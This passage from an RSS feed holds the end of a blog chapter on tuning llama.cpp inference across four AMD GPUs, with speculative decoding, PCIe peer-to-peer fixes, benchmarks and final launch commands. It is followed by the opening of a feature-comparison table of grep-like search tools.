	&lt;li&gt;Single card performance: 19-20 tokens per second&lt;/li&gt;
	&lt;li&gt;Two cards, layer parallel: 15-16 tokens per second&lt;/li&gt;
	&lt;li&gt;Four cards, layer parallel: 12-13 tokens per second&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;For reference, the base command: &lt;/p&gt;&lt;pre&gt;lama-server --host 0.0.0.0 --model /mnt/storage/llm/Gemma-4-31B/gemma-4-31B-it-qat-q4_0.gguf --ctx-size 98304 --fit off --n-gpu-layers all
&lt;/pre&gt;&lt;p&gt;then, single card adds on&lt;/p&gt;&lt;pre&gt;--device ROCm0 --split-mode none
&lt;/pre&gt;&lt;p&gt;two card test:&lt;/p&gt;&lt;pre&gt;--device ROCm2,ROCm3 --split-mode layer
&lt;/pre&gt;&lt;p&gt;four card test:&lt;/p&gt;&lt;pre&gt;--device ROCm0,ROCm1,ROCm2,ROCm3 --split-mode layer
&lt;/pre&gt;&lt;p&gt;The fact that this model fits all in one card allows a real apples-to-apples comparison here; we can see that with the same exact model weights and context length, splitting the layers up among these different GPUs has a performance penalty just from the synchronization they need to do. Of course, for GPUs that are designed to exchange data across some special link, this will be much less pronounced. But right now the takeaway I have is that getting this thing to go faster means having as few movements between GPUs as possible.&lt;sup&gt;3&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Another interesting observation here is that the GPUs are all running one at a time. When I watch rocm-smi as some text generation is running, three of the GPUs are basically idle at all times, and the one that&amp;#39;s working is only drawing 150 watts or so (out of a 250 watt maximum). In the last chapter you saw me get a 1600 watt power supply to build this machine, and while I did need all of the power connectors that the massive PSU provided, the box itself is never drawing more than 350 watts during layer-parallel (or single-card) inference. Here&amp;#39;s the output from &lt;code&gt;rocm-smi&lt;/code&gt; during the tw-card test which shows this fairly well:&lt;/p&gt;&lt;pre&gt;========================================== ROCm System Management Interface ==========================================
==================================================== Concise Info ====================================================
Device  Node  IDs              Temp    Power   Partitions          SCLK     MCLK     Fan  Perf  PwrCap  VRAM%  GPU%  
              (DID,     GUID)  (Edge)  (Avg)   (Mem, Compute, ID)                                                    
======================================================================================================================
0       1     0x73a1,   29921  35.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
1       2     0x73a1,   10018  37.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
2       3     0x73a1,   62528  48.0°C  87.0W   N/A, N/A, 0         500Mhz   673Mhz   0%   auto  250.0W  48%    7%    
3       4     0x73a1,   2460   53.0°C  128.0W  N/A, N/A, 0         2410Mhz  1000Mhz  0%   auto  250.0W  49%    96%   
======================================================================================================================
================================================ End of ROCm SMI Log =================================================
&lt;/pre&gt;&lt;p&gt;This is all very unsatisfying! Most of the hardware is idle at any given time. And, while 20 tokens per second is a usable level for a chat interface, it would be nice if we could go faster, especially when it&amp;#39;s doing reasoning about some complicated thing. (Or writing code in an agent harness, which we&amp;#39;ll talk about in Chapter 3). And we can see why this is happening; each layer is basically executed in series so the GPUs that aren&amp;#39;t working the current layer are just sitting there, and even when we&amp;#39;re processing some layer, the operation is bound on memory throughput so the processor is spending a lot of time idle waiting for data to arrive.&lt;/p&gt;&lt;p&gt;The current state of the art here, to get a model to generate output tokens faster by parallelizing this serial pipeline, is &amp;quot;speculative decoding&amp;quot;, or the use of a draft model. You take a much smaller model that generates tokens that are usually kind of similar, and run it first, and then the main model verifies the next several tokens in parallel. How well this works is basically proportional to how well the draft model predicts what the main model will produce, and how well you can parallelize inference. Early experiments with this just used a smaller and faster transformer LLM trained on similar data as the big one; later developments use a specialized multi-token prediction model that generates several tokens simultaneously very quickly and shares some tensors and KV cache with the base model for memory efficiency.&lt;/p&gt;&lt;p&gt;Gemma4 has such an MTP model and it&amp;#39;s quite well-optimized; they call it &amp;quot;gemma4-assistant&amp;quot;. Let&amp;#39;s enable it!&lt;sup&gt;4&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;We add the model and the flags to the command from earlier.&lt;/p&gt;&lt;pre&gt;--spec-draft-model /mnt/storage/llm/Gemma-4-31B/MTP/mtp-gemma-4-31B-it-Q8_0.gguf --spec-draft-n-max 3 --spec-type draft-mtp --n-gpu-layers all --n-gpu-layers-draft all --spec-draft-device ROCm1
&lt;/pre&gt;&lt;p&gt;Two-card configuration we also specify what device the draft model runs on, which must match the main model&amp;#39;s devices because they share tensors for some layers.&lt;/p&gt;&lt;pre&gt;-spec-draft-device ROCm2,ROCm3 
&lt;/pre&gt;&lt;p&gt;With the MTP model enabled we see:&lt;/p&gt;&lt;ul&gt;
	&lt;li&gt;around 40 tokens per second on a single card&lt;/li&gt;
	&lt;li&gt;20 tokens per second on two cards in layer parallel&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Putting it all in one card is faster than splitting it in a layer parallel two or three cards because llama.cpp will batch process multiple tokens on a single GPU quite well; inference is memory-bound so there&amp;#39;s spare compute just kind of lying around. 20 tokens per second on two cards isn&amp;#39;t &lt;em&gt;bad&lt;/em&gt;; we&amp;#39;re back up to the speed of one card without it. This is not a total loss if we need more context than fits on one card but it&amp;#39;s still disappointing.&lt;/p&gt;&lt;p&gt;Okay, so we&amp;#39;ve proved out the use of a draft model to speed things up, and we have a Gemma4-31B configuration that generates quickly. It only uses one card, but that&amp;#39;s fine, it fits.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s speed up Deepseek V4 Flash with a draft model and see if it&amp;#39;s less annoyingly slow. The Deepseek team came up with a new draft model architecture called DSpark and released it with Deepseek V4. &lt;a href=&quot;https://arxiv.org/abs/2607.05147&quot;&gt;Here&amp;#39;s a link to the paper&lt;/a&gt;, it&amp;#39;s an improvement of a previous draft model architecture, DFlash. We can download and run their draft model that they trained to work with Deepseek V4 Flash, with a recent build of llama.cpp. Spread across all four cards we&amp;#39;re getting something like 13 tokens per second. Promising! I&amp;#39;m noticing that performance is varying pretty sharply too as it works its way through a prompt. Something feels off here.&lt;/p&gt;&lt;p&gt;Reading the DSpark paper, I think that the draft model is going to be pretty sensitive to inter-GPU transfers more so than the main model. I don&amp;#39;t have my head around all of the details, but DSpark (like predecessor DFlash) is a diffusion model similar to an image generator and I know these don&amp;#39;t like running on multiple GPUs. The paper&amp;#39;s section &amp;quot;Real World Deployment of DSpark&amp;quot; mentions some issues getting the model to parallelize well across GPUs, and I bet the issues are worse on my hardware. My hypothesis here is that I&amp;#39;ll see a speed increase if I can get DSpark to run on one GPU only, and spread the main model across all four GPUs with whatever room is left.&lt;/p&gt;&lt;p&gt;This took some trial and error. The draft model takes a nontrivial amount of VRAM itself, about 10 GB, and that&amp;#39;s after it shares the output layer with the main model for memory efficiency. A build of llama.cpp off of `master` doesn&amp;#39;t handle this layer sharing particularly well. At first, llama.cpp would &amp;quot;helpfully&amp;quot; spill the model over into CPU memory, making it significantly slower (6 or fewer tokens/sec). I locked this out by explicitly specifying &amp;quot;--n-gpu-layers all&amp;quot; so these would turn into out-of-memory errors. After I shrunk down the context a bit, I could use the --split-tensor option to distribute layers of the model around so that there was more room on the one card that held the draft model.&lt;/p&gt;&lt;pre&gt;llama-server  --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/DeepSeek-V4-Flash-0731/DeepSeek-V4-Flash-IQ2XXS-w2Q2K-AProjQ8-SExpQ8-OutQ8-chat-v2-imatrix-0731.gguf \
--model-draft /mnt/storage/llm/DeepSeek-V4-Flash-0731/dspark-DeepSeek-V4-Flash-0731-Q8_0.gguf \
--spec-type draft-dspark --spec-draft-n-max 3 \
--n-gpu-layers all --n-gpu-layers-draft all \
--parallel 1 --fit off --ctx-size 524288 \
--device ROCm3,ROCm2,ROCm1,ROCm0 --tensor-split 11,12,12,8 --split-mode layer
&lt;/pre&gt;&lt;p&gt;This still failed, because the draft model shares layers with the base model to save on memory usage, and now those layers aren&amp;#39;t necessarily on the same card as the drafter!&lt;/p&gt;&lt;p&gt;I was about to start digging into the source code and making changes and then my buddy Sol found out that somebody else was already working on this; &lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/26636&quot;&gt;there was an open PR about more-or-less this issue&lt;/a&gt; so I built from his PR branch. Here&amp;#39;s where it started actually working!&lt;/p&gt;&lt;p&gt;Now I was getting about 15-16 tokens per second out of Deepseek V4 Flash. I knew there was more I could do here, and the rest of the settings changes were kind of boring, so instead of guessing and checking manually as I&amp;#39;d been doing previously, I used a script to sweep through various setting combinations and test token generation against a benchmark. (I just grabbed some random question about air conditioning my garage and used it as a baseline, since I knew it would generate lots of output in response).&lt;/p&gt;&lt;p&gt;I vibecoded out a few python scripts to sweep through various settings configurations and spit results out into CSV files. First, I swept through different ways to split the tensors between the cards to balance out memory usage on each card, so I could then scale up the context size until I filled up VRAM. I got up to 512M tokens of context space this way! Then I swept various other settings - number of speculative MTP tokens to attempt to use (5 performed worse than 3 because acceptance rate was so low that the extra compute just wasted time), batch and microbatch size for processing (a larger batch size had a surprisingly large effect on both token generation speed and memory usage, while a larger microbatch size didn&amp;#39;t matter at all and needlessly allocated a bunch of system RAM), and a bunch of other stuff that didn&amp;#39;t end up mattering one way or the other (n-gram prediction didn&amp;#39;t help, changing the default settings for flash attention or thread count or NUMA or whatever did nothing useful). Also, shuffling which cards held which tensors was useful for some reason.&lt;/p&gt;&lt;p&gt;Mostly the scripts just swept through benchmarks while I did some chores. By the end of this, the benchmark was showing 22 tokens per second and I was consistently getting 19-20 tok/s in the web UI and in the OpenCode harness. It would spit out ranked choices for the settings like this:&lt;/p&gt;&lt;pre&gt;variant                                  pp mean   tg mean   tg med    tg sd   accept  meanlen  RSS/anon GiB  out hash  GPU-only  pipeline
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_tauto_numadef    99.32     22.96    22.95     0.15    0.741     3.21  81.8/13.2   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_t16-16_numadef    97.00     22.93    22.93     0.04    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_t16-16_numadef    99.51     22.84    22.77     0.17    0.734     3.19  81.8/13.2   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_tauto_numadef    98.58     22.81    22.83     0.13    0.734     3.19  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_t16-16_numadef   100.22     22.77    22.74     0.08    0.734     3.19  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_t16-16_numadef    95.30     22.76    22.74     0.10    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_tauto_numadef    99.75     22.76    22.78     0.15    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_tauto_numadef    97.77     22.15    22.16     0.08    0.734     3.19  81.8/13.1   0949adc5      True       yes
&lt;/pre&gt;&lt;p&gt;At this point I felt like I&amp;#39;d wrung about as much as I can out of this. It&amp;#39;s still a little slower than I&amp;#39;d like, but at least it&amp;#39;s twice as fast as when I started. Hooking this thing up to OpenCode or a similar agent harness is now pretty usable. I&amp;#39;ve got a single-card configuration with one model going at a very solid 40 tokens per second and a configuration that uses all four cards to run a smarter model going half as fast.&lt;/p&gt;&lt;hr/&gt;&lt;h4&gt;section 4: further experimentation&lt;/h4&gt;&lt;p&gt;Something here &lt;em&gt;still&lt;/em&gt; didn&amp;#39;t feel right, though. The inter-card communication slowdown seemed excessive, it kept bugging me. It was hitting that instinctual response I have when code is slow and doesn&amp;#39;t have a good reason for it. There&amp;#39;s a benchmark that comes with older versions of ROCm to measure ram throughput, &lt;code&gt;rocm-throughput-test&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;          RocmBandwidthTest Version: 2.6.0

          Launch Command is: /opt/rocm-6.4.0/bin/rocm-bandwidth-test (rocm_bandwidth -a + rocm_bandwidth -A)

          Device: 0,  Intel(R) Core(TM) i9-10900X CPU @ 3.70GHz
          Device: 1,  AMD Radeon PRO V620,  GPU-3e69435e6f91ec49,  19:0.0
          Device: 2,  AMD Radeon PRO V620,  GPU-d2de7efac208e0e8,  1c:0.0
          Device: 3,  AMD Radeon PRO V620,  GPU-a11601b34831450c,  67:0.0
          Device: 4,  AMD Radeon PRO V620,  GPU-6e4c81c877e6eba8,  b5:0.0

          Inter-Device Access
          D/D       0         1         2         3         4
          0         1         1         1         1         1
          1         1         1         0         0         0
          2         1         0         1         0         0
          3         1         0         0         1         0
          4         1         0         0         0         1

          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.802       6.803       13.586      6.793
          1         7.163       407.461     N/A         N/A         N/A
          2         7.164       N/A         583.860     N/A         N/A
          3         14.301      N/A         N/A         684.365     N/A
          4         7.164       N/A         N/A         N/A         699.342

&lt;/pre&gt;&lt;p&gt;Right, that explains it, PCIe peer-to-peer transfers are just completely broken and everything is taking a pit stop at the CPU because inter-card DMA doesn&amp;#39;t work. Of course that&amp;#39;s slow. I was immediately sure that I could get a solid performance increase by fixing this.&lt;/p&gt;&lt;p&gt;First I&amp;#39;m digging around in the BIOS settings. When I first set up this box, I needed to set MMIO High Base to some non-default higher value to get this board to boot at all. (This tells the cards where their base memory address range should start; the default value didn&amp;#39;t work with four 32GB cards, probably because that would be a really weird configuration when the motherboard was made back in 2016). Back then, I just set it to 56T to get it to work. When debugging all this, Sol mentioned that the AMD documentation has some vague statement about how some GPUs (didn&amp;#39;t specify this one) actually only do 44-bit addressing, so we&amp;#39;d need the memory addresses to stay below 16T. I did some trial and error here and landed on these settings: 4T MMIO High Base, 1024G granularity.&lt;/p&gt;&lt;pre&gt;          Inter-Device Access
          D/D       0         1         2         3         4
          0         1         1         1         1         1
          1         1         1         1         1         1
          2         1         1         1         1         1
          3         1         1         1         1         1
          4         1         1         1         1         1

          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.754       6.804       13.815      6.798
          1         7.264       619.634     0.460       0.460       0.460
          2         7.264       0.461       825.823     0.461       0.461
          3         14.508      0.455       0.455       717.872     0.454
          4         7.264       0.460       0.460       0.460       747.623
	&lt;/pre&gt;&lt;p&gt;The bandwidth test now shows direct connectivity between cards. It looks pretty slow, though. Disconcerting. Let&amp;#39;s give tensor parallel a try. Loaded up llama.cpp, it&amp;#39;s looking okay, then we try some inference:&lt;/p&gt;&lt;figure&gt;
	&lt;img src=&quot;https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/broken_p2p_1.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
	&lt;figcaption&gt;hey little man how&amp;#39;s it going&lt;/figcaption&gt;
&lt;/figure&gt;&lt;p&gt;Well that&amp;#39;s not right. Layer parallel?&lt;/p&gt;&lt;figure&gt;
	&lt;img src=&quot;https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/broken_p2p_2.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
	&lt;figcaption&gt;yea...&lt;/figcaption&gt;
&lt;/figure&gt;&lt;p&gt;After this, the kernel panics.&lt;/p&gt;&lt;p&gt;Okay, so I have some kind of corruption issue going, then; the model is having a stroke. The answer was so well known that even the tiny models on the server knew what to try next: set &amp;quot;iommu=pt&amp;quot; in the kernel settings.&lt;/p&gt;&lt;pre&gt;          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.757       6.788       13.473      6.792
          1         7.164       567.469     5.228       7.162       5.226
          2         7.164       5.229       582.947     7.162       5.226
          3         14.313      5.227       5.227       766.083     5.227
          4         7.164       5.225       5.227       7.161       705.815
&lt;/pre&gt;&lt;p&gt;Now we&amp;#39;re cooking!&lt;/p&gt;&lt;p&gt;Earlier, before I had this working, I tested out tensor parallel on Gemma4 alongside the layer parallel test earlier. My initial results, with broken PCIe P2P, were:&lt;/p&gt;&lt;ul&gt;
	&lt;li&gt;two cards: 20 tokens per second&lt;/li&gt;
	&lt;li&gt;four cards: 0.5 tokens per second, total failure.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Re-tested this again after getting this working and now I see:&lt;/p&gt;&lt;ul&gt;
	&lt;li&gt;two cards: 47 tokens per second&lt;/li&gt;
	&lt;li&gt;four cards: 37 tokens per second.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;(Recall that 40 tok/s was the single-card baseline).&lt;/p&gt;&lt;p&gt;So, the peer-to-peer sync is still slowing things down if I try to span across four cards, but between only two I&amp;#39;m now getting a little boost! It&amp;#39;s not the &amp;quot;twice as fast&amp;quot; that I would get if I had a really fast link between them, but the communication slowdown isn&amp;#39;t consuming the entire speedup from the increased memory bandwidth. That&amp;#39;s not bad at all.&lt;/p&gt;&lt;p&gt;Somewhere in the middle of me testing all of this stuff, the new Qwen3.8-27B model dropped and I saw similar results there: about 27 tokens per second with one card and about 35 with two cards in tensor parallel, a nice 30% speedup, with speeds going back down below the single-card level when I tried to deal in four.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take another look at power draw per card in &lt;code&gt;rocm-smi&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;========================================== ROCm System Management Interface ==========================================
==================================================== Concise Info ====================================================
Device  Node  IDs              Temp    Power   Partitions          SCLK     MCLK     Fan  Perf  PwrCap  VRAM%  GPU%  
              (DID,     GUID)  (Edge)  (Avg)   (Mem, Compute, ID)                                                    
======================================================================================================================
0       1     0x73a1,   29921  31.0°C  6.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  4%     0%    
1       2     0x73a1,   10018  32.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
2       3     0x73a1,   62528  64.0°C  215.0W  N/A, N/A, 0         2480Mhz  1000Mhz  0%   auto  250.0W  65%    97%   
3       4     0x73a1,   2460   68.0°C  221.0W  N/A, N/A, 0         2395Mhz  1000Mhz  0%   auto  250.0W  65%    98%   
======================================================================================================================
================================================ End of ROCm SMI Log =================================================
&lt;/pre&gt;&lt;p&gt;Now we&amp;#39;re really using multiple cards simultaneously, instead of flitting around between them. Less idle hardware! (I should probably do some tokens-per-watt-hour measurements but at this point I&amp;#39;m getting pretty bored of this and want to move on to using the models to actually do something).&lt;/p&gt;&lt;h4&gt;section 5: future development ideas&lt;/h4&gt;&lt;p&gt;At this point I attempted to run Deepseek V4 Flash in tensor parallel across all four cards and all I got was an error message about how llama.cpp doesn&amp;#39;t yet support tensor parallel on the Deepseek4 architecture. I have a hypothesis here that it would run fastest, on this server, as a hybrid, two TP2 groups in layer parallel. Changing llama.cpp to support that would be a whole bunch of work that I&amp;#39;m not going to bite off at the moment, though.&lt;/p&gt;&lt;p&gt;I didn&amp;#39;t spend any real time here talking about prompt processing. Before an LLM can do any token generation at all, it needs to do &amp;quot;prefill&amp;quot;, or prompt processing, where it turns the long prompt into the initial K and V matrix embeddings. This is generally faster than token generation but it can be annoyingly long for long prompts, which you tend to get when agentic coding tools try to read in large files (or when you just e.g. copy a whole blog post into the thing for proofreading). It&amp;#39;s a completely different workload from token generation: it&amp;#39;s compute-bound instead of memory-bound and because of this it runs faster in layer parallel. In theory I could have the best of both, at least for the smaller models, by doing prompt processing on one pair of GPUs in layer parallel and then token generation on another pair in tensor parallel. (The big LLM providers are basically all doing this kind of thing now, and there&amp;#39;s hardware development to specialize data center GPUs into one workload or the other). This also would require some development on llama.cpp; I&amp;#39;m going to table this for now.&lt;/p&gt;&lt;p&gt;Next chapter, we&amp;#39;ll talk about giving the AI some tools so it isn&amp;#39;t just a text generator.&lt;/p&gt;&lt;h4&gt;Appendix: final configurations&lt;/h4&gt;&lt;p&gt;Here&amp;#39;s what I ended up with as commands to run. Your own hardware will probably differ and you&amp;#39;ll probably need to sweep settings too. &lt;/p&gt;&lt;h5&gt;Deepseek V4 Flash 0731&lt;/h5&gt;&lt;p&gt;Layer-parallel, 22-ish tok/s output.&lt;/p&gt;&lt;pre&gt;llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/DeepSeek-V4-Flash-0731/DeepSeek-V4-Flash-IQ2XXS-w2Q2K-AProjQ8-SExpQ8-OutQ8-chat-v2-imatrix-0731.gguf \
--model-draft /mnt/storage/llm/DeepSeek-V4-Flash-0731/dspark-DeepSeek-V4-Flash-0731-Q8_0.gguf \
--spec-type draft-dspark --spec-draft-n-max 3 --n-gpu-layers all --n-gpu-layers-draft all \
--parallel 1 --fit off --flash-attn on --ctx-size 524288 \
--device ROCm3,ROCm2,ROCm1,ROCm0 --tensor-split 11,12,12,8 --split-mode layer \
--spec-draft-device ROCm0 --spec-draft-backend-sampling \
--batch-size 4096 --ubatch-size 256 --poll 50
&lt;/pre&gt;&lt;h5&gt;Gemma 4 31B QAT&lt;/h5&gt;&lt;p&gt;Tensor parallel, 45-ish tok/s output.&lt;/p&gt;&lt;pre&gt;llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/Gemma-4-31B/gemma-4-31B-it-qat-Q4_0.gguf \
--spec-draft-model /mnt/storage/llm/Gemma-4-31B/MTP/mtp-gemma-4-31B-it-Q8_0.gguf \
--spec-draft-n-max 3 --spec-type draft-mtp \
--n-gpu-layers all --n-gpu-layers-draft all \
--device ROCm2,ROCm3 --ctx-size 98304  --split-mode tensor
&lt;/pre&gt;&lt;h5&gt;Qwen 3.8 27B&lt;/h5&gt;&lt;p&gt;Tensor parallel, 35-ish tok/s output. Note: &lt;code&gt;reasoning-effort&lt;/code&gt; &lt;em&gt;must&lt;/em&gt; be set to &lt;code&gt;medium&lt;/code&gt; for this model to be useful, the default &lt;code&gt;xhigh&lt;/code&gt; is unusable.&lt;/p&gt;&lt;pre&gt;llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/Qwen3.8-27B/Qwen3.8-27B-Q6_K.gguf \
--device ROCm2,ROCm3 --split-mode tensor \
--spec-type draft-mtp --spec-draft-n-max 4 \
-b 4096 -ub 256 --parallel 1\
--n-gpu-layers all --jinja \
--reasoning-effort medium&lt;/pre&gt;&lt;hr/&gt;&lt;div&gt;
&lt;ol&gt;
	&lt;li&gt;(The kind of model that isn&amp;#39;t a MoE got retroactively named &amp;quot;dense model&amp;quot; after MoEs got popular). [back]&lt;/li&gt;
	&lt;li&gt;This is worth a little discussion. &lt;a href=&quot;https://huggingface.co/antirez/deepseek-v4-gguf&quot;&gt;Antirez posted his quantization recipe with the GGUF file&lt;/a&gt;, other people have been doing similar things as well. By keeping the shared tensors at full precision and only compressing the routed experts, it preserves a lot of the quality compared to the simple approach of compressing everything. The effect is similar to variable bit rate MP3 encoding.[back]&lt;/li&gt;
	&lt;li&gt;Quick sidebar here on &amp;quot;spilling over into system RAM&amp;quot;. Many guides and reddit posters and so on will tell you that you can run a large MoE at acceptable speeds by putting shared tensors into VRAM and routed experts into system RAM. Now, people have different subjective definitions of &amp;quot;acceptable speeds&amp;quot;, but for me, after some testing, I&amp;#39;ve concluded that this is what the kids call &amp;quot;cope&amp;quot;. I have quad-channel DDR4 in this server, which is not top of the line but is the best you can do without spending a fortune on some 12-channel DDR5 monster server, and I need the model to stay entirely in VRAM to have any hope of exceeding about 8 tokens per second for every model I&amp;#39;ve tested here. I will be treating any &amp;quot;spill into system RAM&amp;quot; as a failure case. [back]&lt;/li&gt;
 	&lt;li&gt;One thing that starts happening when you start doing complicated things like this is, llama.cpp&amp;#39;s automatic sizing of the context size to fit VRAM stops working right and you need to specify this manually or you&amp;#39;ll get either out-of-memory errors or the model will automatically spill into main system RAM and slow to a crawl. [back]&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;div&gt;
	&lt;a href=&quot;https://jdagostino.github.io/index.html&quot;&gt;Contents&lt;/a&gt;
	&lt;br/&gt;
	&lt;a href=&quot;mailto:jdagostino1@gmail.com&quot;&gt;Email&lt;/a&gt;
&lt;/div&gt;</content:encoded>
</item>
<item>
<title>Feature comparison of ack, ag, git-grep, grep and ripgrep</title>
<link>https://beyondgrep.com/feature-comparison/</link>
<guid isPermaLink="false">GKsU9-CVUeHXJ5U1u3-3Q2nLm6GZdiMIISd-Zg==</guid>
<pubDate>Wed, 26 Aug 2026 01:53:42 +0000</pubDate>
<description>ack</description>
<content:encoded>&lt;table&gt;
        &lt;tbody&gt;&lt;tr&gt;
            &lt;th&gt;
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Name&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;ack&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;The Silver Searcher&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;git-grep&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;GNU grep&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;ripgrep&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Project page&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;&lt;a href=&quot;https://beyondgrep.com&quot;&gt;Link&lt;/a&gt;&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;&lt;a href=&quot;https://geoff.greer.fm/ag/&quot;&gt;Link&lt;/a&gt;&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;&lt;a href=&quot;https://git-scm.com/docs/git-grep&quot;&gt;Link&lt;/a&gt;&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;&lt;a href=&quot;https://www.gnu.org/software/grep/&quot;&gt;Link&lt;/a&gt;&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;&lt;a href=&quot;https://github.com/BurntSushi/ripgrep&quot;&gt;Link&lt;/a&gt;&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Language&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Perl&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;C&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;C&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;C&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Rust&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;License&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Artistic License 2.0&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Apache License 2.0&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;GPL 2&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;GPL 3&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;MIT/Unlicense&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Regular expressions&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Native Perl&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Perl-compatible&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Basic, extended, or Perl-compatible&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Basic, extended, or Perl-compatible (experimental)&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Fast non-backtracking, Perl-compatible, or automatic selection&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                Feature
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search where&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;anywhere&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;anywhere&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;git repository by default, or anywhere with --no-index&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;anywhere&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;anywhere&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search git history&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
